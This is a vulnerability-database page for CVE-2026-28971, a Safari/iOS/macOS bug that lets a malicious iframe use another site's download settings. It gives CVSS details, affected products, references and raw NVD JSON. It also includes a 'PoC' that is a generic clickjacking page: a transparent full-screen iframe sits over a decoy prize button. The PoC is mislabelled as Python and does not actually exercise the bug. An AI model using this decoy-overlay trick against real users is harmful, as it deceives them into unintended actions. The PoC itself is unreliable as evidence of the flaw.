CVE-2026-28971

Description

The issue was addressed with improved UI handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. A malicious iframe may use another website’s download settings.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

visionOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-28971
This PoC demonstrates how a malicious iframe might attempt to leverage
download settings of a target site due to improper UI handling.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-28971 PoC</title>
    <style>
        /* Overlay style to trick user interaction */
        body {
            margin: 0;
            overflow: hidden;
        }
        #target-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.0; /* Hidden iframe */
            z-index: 1;
        }
        #decoy-layer {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            z-index: 0;
            padding: 20px;
            background: #f0f0f0;
            border: 1px solid #ccc;
            text-align: center;
        }
    </style>
</head>
<body>
    <!-- Decoy content to lure user click -->
    <div id="decoy-layer">
        <h2>Click to Claim Prize</h2>
        <button>Claim Now</button>
    </div>

    <!-- Malicious iframe loading a site that handles downloads -->
    <iframe id="target-frame" src="https://example.com/download-settings"></iframe>

    <script>
        // Logic to handle the interaction
        document.querySelector('button').addEventListener('click', () => {
            console.log('User clicked. Attempting to trigger download via iframe context.');
            // In a vulnerable version, this click might pass through to the iframe
            // or leverage the target site's download settings automatically.
            alert('PoC Triggered: Check if unintended download started.');
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28971
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28971
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28971/
[4] VulDB https://vuldb.com/cve/CVE-2026-28971
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127120
[8] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28971", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:57.807", "lastModified": "2026-05-13T21:16:44.610", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved UI handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. A malicious iframe may use another website’s download settings."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]"}]}}